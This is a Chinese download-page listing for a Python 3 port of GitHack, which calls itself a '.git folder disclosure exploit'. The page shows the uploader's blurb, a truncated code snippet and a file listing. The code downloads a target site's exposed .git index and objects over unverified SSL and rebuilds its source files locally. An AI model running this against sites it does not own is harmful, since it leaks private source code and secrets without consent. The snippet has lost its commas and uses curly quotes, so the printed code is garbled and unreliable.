资源简介
之前下载了前辈们的GitHack工具发现竟然只能在python2运行,生为程序猿的我瞬间毛血旺了,因为自己装的是python3发现尽然用不了,超灵长类生物不能忍,我瞬间打开源码对键盘一顿咔咔咔胡打,最终成功在python3运行。当然也感谢有前辈们的基础才能够在巨人的肩膀上成长
代码片段和文件信息
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
import urllib.request
import os
from urllib.parse import urlparse
import zlib
import threading
from queue import Queue
import re
import time
from lib.parser import parse
import ssl
context = ssl._create_unverified_context()
if len(sys.argv) == 1:
msg = “““
A ‘.git‘ folder disclosure exploit. By LiJieJie
Python 3 can also be used by Zhang Heng
Usage: GitHack.py http://www.target.com/.git/
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
“““
print(msg);
sys.exit(0)
# 参数 sys.argv 带有两个参数:一个是本py文件的位置,另一个是输入的git地址
class Scanner(object):
def __init__(self):
self.base_url = sys.argv[-1] # 获取输入的地址
self.domain = urlparse(sys.argv[-1]).netloc.replace(‘:‘ ‘_‘) # 将Ip:端口 中的冒号替换为_
if not os.path.exists(self.domain): # 判断括号中文件目录是否存在,如果不存在就立即创建
os.mkdir(self.domain)
print (‘[+] Download and parse index file ...‘)
data = self._request_data(sys.argv[-1] + ‘/index‘) # 下载传入的地址中的文件
with open(‘index‘ ‘wb‘) as f: # 向index文件中写入数据
f.write(data)
self.queue = Queue() # 创建一个队列
for entry in parse(‘index‘): # 调用另外一个.py文件的解析方法
# print(entry)
if “sha1“ in entry.keys():
self.queue.put((entry[“sha1“].strip() entry[“name“].strip()))
try:
print (entry[‘name‘])
except Exception as e:
pass
self.lock = threading.Lock()
self.thread_count = 20
self.STOP_ME = False
@staticmethod
def _request_data(url):
request = urllib.request.Request(url None {‘User-Agent‘: ‘Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)‘}) # 提交一个request请求
return urllib.request.urlopen(request context=context).read() #获取并读取request请求返回的数据
def _print(self msg):
self.lock.acquire()
try:
print (msg)
except Exception as e:
pass
self.lock.release()
def get_back_file(self):
while not self.STOP_ME:
try:
sha1 file_name = self.queue.get(timeout=0.5)
except Exception as e:
break
for i in range(3):
try:
folder = ‘/objects/%s/‘ % sha1[:2]
data = self._request_data(self.base_url + folder + sha1[2:])
try:
data = zlib.decompress(data)
except:
self._print(‘[Error] Fail to decompress %s‘ % file_name)
#data = re.sub(r‘blob \d+\00‘ ‘‘ data)
target_dir = os.path.join(self.domain os.path.dirname(file_name))
if target_dir and not os.path.exists(target_dir):
os.makedirs(target_dir)
with open(os.path.join(sel
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2020-01-18 09:10 GitHack-python3\
目录 0 2020-01-18 09:09 GitHack-python3\.git\
文件 23 2020-01-17 08:40 GitHack-python3\.git\HEAD
文件 302 2020-01-17 08:40 GitHack-python3\.git\config
文件 73 2020-01-17 08:40 GitHack-python3\.git\desc
目录 0 2020-01-18 09:09 GitHack-python3\.git\hooks\
文件 478 2020-01-17 08:40 GitHack-python3\.git\hooks\applypatch-msg.sample
文件 896 2020-01-17 08:40 GitHack-python3\.git\hooks\commit-msg.sample
文件 3327 2020-01-17 08:40 GitHack-python3\.git\hooks\fsmonitor-watchman.sample
文件 189 2020-01-17 08:40 GitHack-python3\.git\hooks\post-update.sample
文件 424 2020-01-17 08:40 GitHack-python3\.git\hooks\pre-applypatch.sample
文件 1638 2020-01-17 08:40 GitHack-python3\.git\hooks\pre-commit.sample
文件 416 2020-01-17 08:40 GitHack-python3\.git\hooks\pre-merge-commit.sample
文件 1348 2020-01-17 08:40 GitHack-python3\.git\hooks\pre-push.sample
文件 4898 2020-01-17 08:40 GitHack-python3\.git\hooks\pre-reba
文件 544 2020-01-17 08:40 GitHack-python3\.git\hooks\pre-receive.sample
文件 1492 2020-01-17 08:40 GitHack-python3\.git\hooks\prepare-commit-msg.sample
文件 3610 2020-01-17 08:40 GitHack-python3\.git\hooks\update.sample
文件 565 2020-01-17 08:40 GitHack-python3\.git\index
目录 0 2020-01-18 09:09 GitHack-python3\.git\info\
文件 240 2020-01-17 08:40 GitHack-python3\.git\info\exclude
目录 0 2020-01-18 09:09 GitHack-python3\.git\logs\
文件 187 2020-01-17 08:40 GitHack-python3\.git\logs\HEAD
目录 0 2020-01-18 09:09 GitHack-python3\.git\logs\refs\
目录 0 2020-01-18 09:09 GitHack-python3\.git\logs\refs\heads\
文件 187 2020-01-17 08:40 GitHack-python3\.git\logs\refs\heads\master
目录 0 2020-01-18 09:09 GitHack-python3\.git\logs\refs\remotes\
目录 0 2020-01-18 09:09 GitHack-python3\.git\logs\refs\remotes\origin\
文件 187 2020-01-17 08:40 GitHack-python3\.git\logs\refs\remotes\origin\HEAD
目录 0 2020-01-18 09:09 GitHack-python3\.git\ob
目录 0 2020-01-18 09:09 GitHack-python3\.git\ob
............此处省略86个文件信息
评论
共有 条评论